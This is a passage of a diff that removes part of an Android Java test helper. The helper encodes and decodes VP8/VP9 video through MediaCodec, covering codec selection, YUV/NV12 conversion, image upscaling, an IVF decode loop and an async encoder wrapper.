- for (String type : codecInfo.getSupportedTypes()) {
- if (!type.equalsIgnoreCase(mime)) {
- continue;
- }
- CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
- if (!capabilities.isFormatSupported(format)) {
- continue;
- }
-
- // Get candidate codec properties.
- Log.v(TAG, "Found candidate codec " + codecInfo.getName());
- for (int colorFormat: capabilities.colorFormats) {
- Log.v(TAG, " Color: 0x" + Integer.toHexString(colorFormat));
- }
-
- // Check supported color formats.
- for (int supportedColorFormat : mSupportedColorList) {
- for (int codecColorFormat : capabilities.colorFormats) {
- if (codecColorFormat == supportedColorFormat) {
- codecProperties = new CodecProperties(codecInfo.getName(),
- codecColorFormat);
- Log.v(TAG, "Found target codec " + codecProperties.codecName +
- ". Color: 0x" + Integer.toHexString(codecColorFormat));
- // return first vendor codec (hopefully HW) found
- if (!codecInfo.isVendor()) {
- return codecProperties;
- }
- }
- }
- }
- }
- }
- if (codecProperties == null) {
- Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
- + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
- }
- return codecProperties;
- }
-
- /**
- * Parameters for encoded video stream.
- */
- protected class EncoderOutputStreamParameters {
- // Name of raw YUV420 input file. When the value of this parameter
- // is set to null input file descriptor from inputResourceId parameter
- // is used instead.
- public String inputYuvFilename;
- // Name of scaled YUV420 input file.
- public String scaledYuvFilename;
- // File descriptor for the raw input file (YUV420). Used only if
- // inputYuvFilename parameter is null.
- int inputResourceId;
- // Name of the IVF file to write encoded bitsream
- public String outputIvfFilename;
- // Mime Type of the Encoded content.
- public String codecMimeType;
- // Force to use Google VPx encoder.
- boolean forceGoogleEncoder;
- // Number of frames to encode.
- int frameCount;
- // Frame rate of input file in frames per second.
- int frameRate;
- // Encoded frame width.
- public int frameWidth;
- // Encoded frame height.
- public int frameHeight;
- // Encoding bitrate array in bits/second for every frame. If array length
- // is shorter than the total number of frames, the last value is re-used for
- // all remaining frames. For constant bitrate encoding single element
- // array can be used with first element set to target bitrate value.
- public int[] bitrateSet;
- // Encoding bitrate type - VBR or CBR
- public int bitrateType;
- // Number of temporal layers
- public int temporalLayers;
- // Desired key frame interval - codec is asked to generate key frames
- // at a period defined by this parameter.
- public int syncFrameInterval;
- // Optional parameter - forced key frame interval. Used to
- // explicitly request the codec to generate key frames using
- // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
- public int syncForceFrameInterval;
- // Buffer timeout
- long timeoutDequeue;
- // Flag if encoder should run in Looper thread.
- boolean runInLooperThread;
- // Flag if use NdkMediaCodec
- boolean useNdk;
- }
-
- /**
- * Generates an array of default parameters for encoder output stream based on
- * upscaling value.
- */
- protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
- String inputYuvName,
- String outputIvfBaseName,
- String codecMimeType,
- int encodeSeconds,
- int[] resolutionScales,
- int frameWidth,
- int frameHeight,
- int frameRate,
- int bitrateMode,
- int[] bitrates,
- boolean syncEncoding) {
- assertTrue(resolutionScales.length == bitrates.length);
- int numCodecs = resolutionScales.length;
- ArrayList<EncoderOutputStreamParameters> outputParameters =
- new ArrayList<EncoderOutputStreamParameters>(numCodecs);
- for (int i = 0; i < numCodecs; i++) {
- EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
- if (inputYuvName != null) {
- params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
- } else {
- params.inputYuvFilename = null;
- }
- params.scaledYuvFilename = SDCARD_DIR + File.separator +
- outputIvfBaseName + resolutionScales[i]+ ".yuv";
- params.inputResourceId = R.raw.football_qvga;
- params.codecMimeType = codecMimeType;
- String codecSuffix = VP8_MIME.equals(codecMimeType) ? "vp8" : "vp9";
- params.outputIvfFilename = SDCARD_DIR + File.separator +
- outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
- params.forceGoogleEncoder = false;
- params.frameCount = encodeSeconds * frameRate;
- params.frameRate = frameRate;
- params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
- params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
- params.bitrateSet = new int[1];
- params.bitrateSet[0] = bitrates[i];
- params.bitrateType = bitrateMode;
- params.temporalLayers = 0;
- params.syncFrameInterval = SYNC_FRAME_INTERVAL;
- params.syncForceFrameInterval = 0;
- if (syncEncoding) {
- params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
- params.runInLooperThread = false;
- } else {
- params.timeoutDequeue = 0;
- params.runInLooperThread = true;
- }
- outputParameters.add(params);
- }
- return outputParameters;
- }
-
- protected EncoderOutputStreamParameters getDefaultEncodingParameters(
- String inputYuvName,
- String outputIvfBaseName,
- String codecMimeType,
- int encodeSeconds,
- int frameWidth,
- int frameHeight,
- int frameRate,
- int bitrateMode,
- int bitrate,
- boolean syncEncoding) {
- int[] scaleValues = { 1 };
- int[] bitrates = { bitrate };
- return getDefaultEncodingParameterList(
- inputYuvName,
- outputIvfBaseName,
- codecMimeType,
- encodeSeconds,
- scaleValues,
- frameWidth,
- frameHeight,
- frameRate,
- bitrateMode,
- bitrates,
- syncEncoding).get(0);
- }
-
- /**
- * Converts (interleaves) YUV420 planar to NV12.
- * Assumes packed, macroblock-aligned frame with no cropping
- * (visible/coded row length == stride).
- */
- private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
- byte[] nv = new byte[yuv.length];
- // Y plane we just copy.
- System.arraycopy(yuv, 0, nv, 0, width * height);
-
- // U & V plane we interleave.
- int u_offset = width * height;
- int v_offset = u_offset + u_offset / 4;
- int nv_offset = width * height;
- for (int i = 0; i < width * height / 4; i++) {
- nv[nv_offset++] = yuv[u_offset++];
- nv[nv_offset++] = yuv[v_offset++];
- }
- return nv;
- }
-
- /**
- * Converts (de-interleaves) NV12 to YUV420 planar.
- * Stride may be greater than width, slice height may be greater than height.
- */
- private static byte[] NV12ToYUV420(int width, int height,
- int stride, int sliceHeight, byte[] nv12) {
- byte[] yuv = new byte[width * height * 3 / 2];
-
- // Y plane we just copy.
- for (int i = 0; i < height; i++) {
- System.arraycopy(nv12, i * stride, yuv, i * width, width);
- }
-
- // U & V plane - de-interleave.
- int u_offset = width * height;
- int v_offset = u_offset + u_offset / 4;
- int nv_offset;
- for (int i = 0; i < height / 2; i++) {
- nv_offset = stride * (sliceHeight + i);
- for (int j = 0; j < width / 2; j++) {
- yuv[u_offset++] = nv12[nv_offset++];
- yuv[v_offset++] = nv12[nv_offset++];
- }
- }
- return yuv;
- }
-
- /**
- * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
- * height equal to the crop window.
- */
- private static byte[] PackYUV420(int left, int top, int width, int height,
- int stride, int sliceHeight, byte[] src) {
- byte[] dst = new byte[width * height * 3 / 2];
- // Y copy.
- for (int i = 0; i < height; i++) {
- System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
- }
- // U and V copy.
- int u_src_offset = stride * sliceHeight;
- int v_src_offset = u_src_offset + u_src_offset / 4;
- int u_dst_offset = width * height;
- int v_dst_offset = u_dst_offset + u_dst_offset / 4;
- // Downsample and align to floor-2 for crop origin.
- left /= 2;
- top /= 2;
- for (int i = 0; i < height / 2; i++) {
- System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
- dst, u_dst_offset + i * (width / 2), width / 2);
- System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
- dst, v_dst_offset + i * (width / 2), width / 2);
- }
- return dst;
- }
-
-
- private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
- byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
- for (int i = 0; i < dstHeight/2 - 1; i++) {
- int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
- int dstOffset1 = dstOffset0 + dstWidth;
- int srcOffset0 = i * srcStride + srcByteOffset;
- int srcOffset1 = srcOffset0 + srcStride;
- int pixel00 = (int)src[srcOffset0++] & 0xff;
- int pixel10 = (int)src[srcOffset1++] & 0xff;
- for (int j = 0; j < dstWidth/2 - 1; j++) {
- int pixel01 = (int)src[srcOffset0++] & 0xff;
- int pixel11 = (int)src[srcOffset1++] & 0xff;
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
- dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
- dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
- pixel00 = pixel01;
- pixel10 = pixel11;
- }
- // last column
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
- dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
- }
-
- // last row
- int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
- int dstOffset1 = dstOffset0 + dstWidth;
- int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
- int pixel00 = (int)src[srcOffset0++] & 0xff;
- for (int j = 0; j < dstWidth/2 - 1; j++) {
- int pixel01 = (int)src[srcOffset0++] & 0xff;
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
- dst[dstOffset1++] = (byte)pixel00;
- dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
- pixel00 = pixel01;
- }
- // the very last pixel - bottom right
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset0++] = (byte)pixel00;
- dst[dstOffset1++] = (byte)pixel00;
- dst[dstOffset1++] = (byte)pixel00;
- }
-
- /**
- * Up-scale image.
- * Scale factor is defined by source and destination width ratio.
- * Only 1:2 and 1:4 up-scaling is supported for now.
- * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
- * image is scaled.
- */
- private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
- int dstWidth, int dstHeight) throws Exception {
- int srcYSize = srcWidth * srcHeight;
- int dstYSize = dstWidth * dstHeight;
- byte[] dst = null;
- if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
- // 1:2 upscale
- dst = new byte[dstWidth * dstHeight * 3 / 2];
- imageUpscale1To2(src, 0, srcWidth,
- dst, 0, dstWidth, dstHeight); // Y
- imageUpscale1To2(src, srcYSize, srcWidth / 2,
- dst, dstYSize, dstWidth / 2, dstHeight / 2); // U
- imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
- dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2); // V
- } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
- // 1:4 upscale - in two steps
- int midWidth = 2 * srcWidth;
- int midHeight = 2 * srcHeight;
- byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
- dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
-
- } else {
- throw new RuntimeException("Can not find proper scaling function");
- }
-
- return dst;
- }
-
- private void cacheScaledImage(
- String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
- String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
- InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
- FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
- int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
- byte[] srcFrame = new byte[srcFrameSize];
- byte[] dstFrame = null;
- Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
- while (true) {
- int bytesRead = srcStream.read(srcFrame);
- if (bytesRead != srcFrame.length) {
- break;
- }
- if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
- dstFrame = srcFrame;
- } else {
- dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
- dstFrameWidth, dstFrameHeight);
- }
- dstFile.write(dstFrame);
- }
- srcStream.close();
- dstFile.close();
- }
-
-
- /**
- * A basic check if an encoded stream is decodable.
- *
- * The most basic confirmation we can get about a frame
- * being properly encoded is trying to decode it.
- * (Especially in realtime mode encode output is non-
- * deterministic, therefore a more thorough check like
- * md5 sum comparison wouldn't work.)
- *
- * Indeed, MediaCodec will raise an IllegalStateException
- * whenever vpx decoder fails to decode a frame, and
- * this test uses that fact to verify the bitstream.
- *
- * @param inputIvfFilename The name of the IVF file containing encoded bitsream.
- * @param outputYuvFilename The name of the output YUV file (optional).
- * @param frameRate Frame rate of input file in frames per second
- * @param forceGoogleDecoder Force to use Google VPx decoder.
- */
- protected ArrayList<MediaCodec.BufferInfo> decode(
- String inputIvfFilename,
- String outputYuvFilename,
- String codecMimeType,
- int frameRate,
- boolean forceGoogleDecoder) throws Exception {
- ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-
- // Open input/output.
- IvfReader ivf = new IvfReader(inputIvfFilename);
- int frameWidth = ivf.getWidth();
- int frameHeight = ivf.getHeight();
- int frameCount = ivf.getFrameCount();
- int frameStride = frameWidth;
- int frameSliceHeight = frameHeight;
- int cropLeft = 0;
- int cropTop = 0;
- int cropWidth = frameWidth;
- int cropHeight = frameHeight;
- assertTrue(frameWidth > 0);
- assertTrue(frameHeight > 0);
- assertTrue(frameCount > 0);
-
- // Create decoder.
- MediaFormat format = MediaFormat.createVideoFormat(
- codecMimeType, ivf.getWidth(), ivf.getHeight());
- CodecProperties properties = getVpxCodecProperties(
- false /* encoder */, format, forceGoogleDecoder);
- if (properties == null) {
- ivf.close();
- return null;
- }
- int frameColorFormat = properties.colorFormat;
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-
- FileOutputStream yuv = null;
- if (outputYuvFilename != null) {
- yuv = new FileOutputStream(outputYuvFilename, false);
- }
-
- Log.d(TAG, "Creating decoder " + properties.codecName +
- ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
- ". " + frameWidth + " x " + frameHeight);
- Log.d(TAG, " Format: " + format);
- Log.d(TAG, " In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
- MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
- decoder.configure(format,
- null, // surface
- null, // crypto
- 0); // flags
- decoder.start();
-
- ByteBuffer[] inputBuffers = decoder.getInputBuffers();
- ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
- MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-
- // decode loop
- int inputFrameIndex = 0;
- int outputFrameIndex = 0;
- long inPresentationTimeUs = 0;
- long outPresentationTimeUs = 0;
- boolean sawOutputEOS = false;
- boolean sawInputEOS = false;
-
- while (!sawOutputEOS) {
- if (!sawInputEOS) {
- int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
- if (inputBufIndex >= 0) {
- byte[] frame = ivf.readFrame(inputFrameIndex);
-
- if (inputFrameIndex == frameCount - 1) {
- Log.d(TAG, " Input EOS for frame # " + inputFrameIndex);
- sawInputEOS = true;
- }
-
- inputBuffers[inputBufIndex].clear();
- inputBuffers[inputBufIndex].put(frame);
- inputBuffers[inputBufIndex].rewind();
- inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
-
- decoder.queueInputBuffer(
- inputBufIndex,
- 0, // offset
- frame.length,
- inPresentationTimeUs,
- sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
- inputFrameIndex++;
- }
- }
-
- int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
- while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
- result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
- if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
- outputBuffers = decoder.getOutputBuffers();
- } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
- // Process format change
- format = decoder.getOutputFormat();
- frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
- frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
- frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
- Log.d(TAG, "Decoder output format change. Color: 0x" +
- Integer.toHexString(frameColorFormat));
- Log.d(TAG, "Format: " + format.toString());
-
- // Parse frame and slice height from undocumented values
- if (format.containsKey("stride")) {
- frameStride = format.getInteger("stride");
- } else {
- frameStride = frameWidth;
- }
- if (format.containsKey("slice-height")) {
- frameSliceHeight = format.getInteger("slice-height");
- } else {
- frameSliceHeight = frameHeight;
- }
- Log.d(TAG, "Frame stride and slice height: " + frameStride +
- " x " + frameSliceHeight);
- frameStride = Math.max(frameWidth, frameStride);
- frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
-
- // Parse crop window for the area of recording decoded frame data.
- if (format.containsKey("crop-left")) {
- cropLeft = format.getInteger("crop-left");
- }
- if (format.containsKey("crop-top")) {
- cropTop = format.getInteger("crop-top");
- }
- if (format.containsKey("crop-right")) {
- cropWidth = format.getInteger("crop-right") - cropLeft + 1;
- } else {
- cropWidth = frameWidth;
- }
- if (format.containsKey("crop-bottom")) {
- cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
- } else {
- cropHeight = frameHeight;
- }
- Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
- + ", size: " + cropWidth + " x " + cropHeight);
- cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
- cropHeight = Math.min(frameHeight - cropTop, cropHeight);
- }
- result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
- }
- if (result >= 0) {
- int outputBufIndex = result;
- outPresentationTimeUs = bufferInfo.presentationTimeUs;
- Log.v(TAG, "Writing buffer # " + outputFrameIndex +
- ". Size: " + bufferInfo.size +
- ". InTime: " + (inPresentationTimeUs + 500)/1000 +
- ". OutTime: " + (outPresentationTimeUs + 500)/1000);
- if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- sawOutputEOS = true;
- Log.d(TAG, " Output EOS for frame # " + outputFrameIndex);
- }
-
- if (bufferInfo.size > 0) {
- // Save decoder output to yuv file.
- if (yuv != null) {
- byte[] frame = new byte[bufferInfo.size];
- outputBuffers[outputBufIndex].position(bufferInfo.offset);
- outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
- // Convert NV12 to YUV420 if necessary.
- if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
- frame = NV12ToYUV420(frameWidth, frameHeight,
- frameStride, frameSliceHeight, frame);
- }
- int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
- // Pack frame if necessary.
- if (writeLength < frame.length &&
- (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
- frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
- frameStride, frameSliceHeight, frame);
- }
- yuv.write(frame, 0, writeLength);
- }
- outputFrameIndex++;
-
- // Update statistics - store presentation time delay in offset
- long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
- MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
- bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
- outPresentationTimeUs, bufferInfo.flags);
- bufferInfos.add(bufferInfoCopy);
- }
- decoder.releaseOutputBuffer(outputBufIndex, false);
- }
- }
- decoder.stop();
- decoder.release();
- ivf.close();
- if (yuv != null) {
- yuv.close();
- }
-
- return bufferInfos;
- }
-
-
- /**
- * Helper function to return InputStream from either filename (if set)
- * or resource id (if filename is not set).
- */
- private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
- if (filename != null) {
- return new FileInputStream(filename);
- }
- return mResources.openRawResource(resourceId);
- }
-
- /**
- * Results of frame encoding.
- */
- protected class MediaEncoderOutput {
- public long inPresentationTimeUs;
- public long outPresentationTimeUs;
- public boolean outputGenerated;
- public int flags;
- public byte[] buffer;
- }
-
- protected class MediaEncoderAsyncHelper {
- private final EncoderOutputStreamParameters mStreamParams;
- private final CodecProperties mProperties;
- private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
- private final IvfWriter mIvf;
- private final byte[] mSrcFrame;
-
- private InputStream mYuvStream;
- private int mInputFrameIndex;
-
- MediaEncoderAsyncHelper(
- EncoderOutputStreamParameters streamParams,
- CodecProperties properties,
- ArrayList<MediaCodec.BufferInfo> bufferInfos,
- IvfWriter ivf)
- throws Exception {
- mStreamParams = streamParams;
- mProperties = properties;
- mBufferInfos = bufferInfos;
- mIvf = ivf;
-
- int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
- mSrcFrame = new byte[srcFrameSize];
-
- mYuvStream = OpenFileOrResourceId(
- streamParams.inputYuvFilename, streamParams.inputResourceId);
- }
-
- public byte[] getInputFrame() {
- // Check EOS
- if (mStreamParams.frameCount == 0
- || (mStreamParams.frameCount > 0
- && mInputFrameIndex >= mStreamParams.frameCount)) {
- Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
- return null;
- }
-
- try {
- int bytesRead = mYuvStream.read(mSrcFrame);
-
- if (bytesRead == -1) {
- // rewind to beginning of file
- mYuvStream.close();
- mYuvStream = OpenFileOrResourceId(
- mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
- bytesRead = mYuvStream.read(mSrcFrame);
- }
- } catch (Exception e) {
- Log.e(TAG, "Failed to read YUV file.");
- return null;
- }
- mInputFrameIndex++;
-
- // Convert YUV420 to NV12 if necessary
- if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
- return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
- mSrcFrame);
- } else {
- return mSrcFrame;
- }
- }
-
- public boolean saveOutputFrame(MediaEncoderOutput out) {
- if (out.outputGenerated) {
- if (out.buffer.length > 0) {
- // Save frame
- try {
- mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
- } catch (Exception e) {
- Log.d(TAG, "Failed to write frame");
- return true;
- }
-
- // Update statistics - store presentation time delay in offset
- long presentationTimeUsDelta = out.inPresentationTimeUs -
- out.outPresentationTimeUs;
- MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
- bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
- out.outPresentationTimeUs, out.flags);
- mBufferInfos.add(bufferInfoCopy);
- }
- // Detect output EOS
- if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- Log.d(TAG, "----Output EOS ");
- return true;
- }
- }
- return false;
- }
- }
-
- /**
- * Video encoder wrapper class.
- * Allows to run the encoder either in a callee's thread or in a looper thread
- * using buffer dequeue ready notification callbacks.
- *
- * Function feedInput() is used to send raw video frame to the encoder input. When encoder
- * is configured to run in async mode the function will run in a looper thread.
- * Encoded frame can be retrieved by calling getOutput() function.
- */
- protected class MediaEncoderAsync extends Thread {
- private int mId;
- private MediaCodecWrapper mCodec;
- private ByteBuffer[] mInputBuffers;
- private ByteBuffer[] mOutputBuffers;
- private int mInputFrameIndex;
- private int mOutputFrameIndex;
- private int mInputBufIndex;
- private int mFrameRate;
- private long mTimeout;
- private MediaCodec.BufferInfo mBufferInfo;
- private long mInPresentationTimeUs;
- private long mOutPresentationTimeUs;
- private boolean mAsync;
- // Flag indicating if input frame was consumed by the encoder in feedInput() call.
- private boolean mConsumedInput;
- // Result of frame encoding returned by getOutput() call.
- private MediaEncoderOutput mOutput;
- // Object used to signal that looper thread has started and Handler instance associated
- // with looper thread has been allocated.
- private final Object mThreadEvent = new Object();
- // Object used to signal that MediaCodec buffer dequeue notification callback
- // was received.
- private final Object mCallbackEvent = new Object();
- private Handler mHandler;
- private boolean mCallbackReceived;
- private MediaEncoderAsyncHelper mHelper;
- private final Object mCompletionEvent = new Object();
- private boolean mCompleted;
-
- private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
- @Override
- public void onInputBufferAvailable(MediaCodec codec, int index) {
- if (mHelper == null) {
- Log.e(TAG, "async helper not available");
- return;
- }
-
- byte[] encFrame = mHelper.getInputFrame();
- boolean inputEOS = (encFrame == null);
-
- int encFrameLength = 0;
- int flags = 0;
- if (inputEOS) {
- flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
- } else {
- encFrameLength = encFrame.length;
-
- ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
- byteBuffer.put(encFrame);
- byteBuffer.rewind();
-
- mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-
- Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
- ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-
- mInputFrameIndex++;
- }
-
- mCodec.queueInputBuffer(
- index,
- 0, // offset
- encFrameLength, // size
- mInPresentationTimeUs,
- flags);
- }
-
- @Override
- public void onOutputBufferAvailable(MediaCodec codec,
- int index, MediaCodec.BufferInfo info) {
- if (mHelper == null) {
- Log.e(TAG, "async helper not available");
- return;
- }
-
- MediaEncoderOutput out = new MediaEncoderOutput();
-
- out.buffer = new byte[info.size];
- ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
- outputBuffer.get(out.buffer, 0, info.size);
- mOutPresentationTimeUs = info.presentationTimeUs;
-
- String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
- if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
- logStr += " CONFIG. ";
- }
- if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
- logStr += " KEY. ";
- }
- if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
- logStr += " EOS. ";
- }
- logStr += " Size: " + info.size;
- logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
- ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
- Log.v(TAG, logStr);
-
- if (mOutputFrameIndex == 0 &&
- ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
- throw new RuntimeException("First frame is not a sync frame.");
- }
-
- if (info.size > 0) {
- mOutputFrameIndex++;
- out.inPresentationTimeUs = mInPresentationTimeUs;
- out.outPresentationTimeUs = mOutPresentationTimeUs;
- }
- mCodec.releaseOutputBuffer(index, false);
-
- out.flags = info.flags;
- out.outputGenerated = true;
-
- if (mHelper.saveOutputFrame(out)) {
- // output EOS
- signalCompletion();
- }
- }
-
- @Override
- public void onError(MediaCodec codec, CodecException e) {
- Log.e(TAG, "onError: " + e
- + ", transient " + e.isTransient()
- + ", recoverable " + e.isRecoverable()
- + ", error " + e.getErrorCode());
- }
-
- @Override
- public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
- Log.i(TAG, "onOutputFormatChanged: " + format.toString());
- }
- };
-
- private synchronized void requestStart() throws Exception {
- mHandler = null;
- start();
- // Wait for Hander allocation
- synchronized (mThreadEvent) {
- while (mHandler == null) {
- mThreadEvent.wait();
- }
- }
- }
-
- public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
- mHelper = helper;
- }
-
- @Override
- public void run() {
- Looper.prepare();
- synchronized (mThreadEvent) {
- mHandler = new Handler();
- mThreadEvent.notify();
- }
- Looper.loop();
- }
-
- private void runCallable(final Callable<?> callable) throws Exception {
- if (mAsync) {
- final Exception[] exception = new Exception[1];
- final CountDownLatch countDownLatch = new CountDownLatch(1);
- mHandler.post( new Runnable() {
- @Override
- public void run() {
- try {
- callable.call();
- } catch (Exception e) {
- exception[0] = e;
- } finally {
- countDownLatch.countDown();
- }
- }
- } );
-
- // Wait for task completion
- countDownLatch.await();
- if (exception[0] != null) {
- throw exception[0];
- }
- } else {
- callable.call();
- }
- }
-
- private synchronized void requestStop() throws Exception {
- mHandler.post( new Runnable() {
- @Override
- public void run() {
- // This will run on the Looper thread
- Log.v(TAG, "MediaEncoder looper quitting");
- Looper.myLooper().quitSafely();
- }
- } );
- // Wait for completion
- join();
- mHandler = null;
- }
-
- private void createCodecInternal(final String name,
- final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
- mBufferInfo = new MediaCodec.BufferInfo();
- mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
- mTimeout = timeout;
- mInputFrameIndex = 0;
- mOutputFrameIndex = 0;
- mInPresentationTimeUs = 0;
- mOutPresentationTimeUs = 0;
-
- if (useNdk) {
- mCodec = new NdkMediaCodec(name);
- } else {
- mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
- }
- if (mAsync) {
- mCodec.setCallback(mCallback);
- }
- mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
- mCodec.start();
-
- // get the cached input/output only in sync mode
- if (!mAsync) {
- mInputBuffers = mCodec.getInputBuffers();
- mOutputBuffers = mCodec.getOutputBuffers();
- }
- }
-
- public void createCodec(int id, final String name, final MediaFormat format,
- final long timeout, boolean async, final boolean useNdk) throws Exception {
- mId = id;
- mAsync = async;
- if (mAsync) {
- requestStart(); // start looper thread
- }
- runCallable( new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- createCodecInternal(name, format, timeout, useNdk);
- return null;
- }
- } );
- }
-
- private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
- mConsumedInput = false;
- // Feed input
- mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
-
- if (mInputBufIndex >= 0) {
- ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
- inputBuffer.clear();
- inputBuffer.put(encFrame);
- inputBuffer.rewind();
- int encFrameLength = encFrame.length;
- int flags = 0;
- if (inputEOS) {
- encFrameLength = 0;
- flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
- }
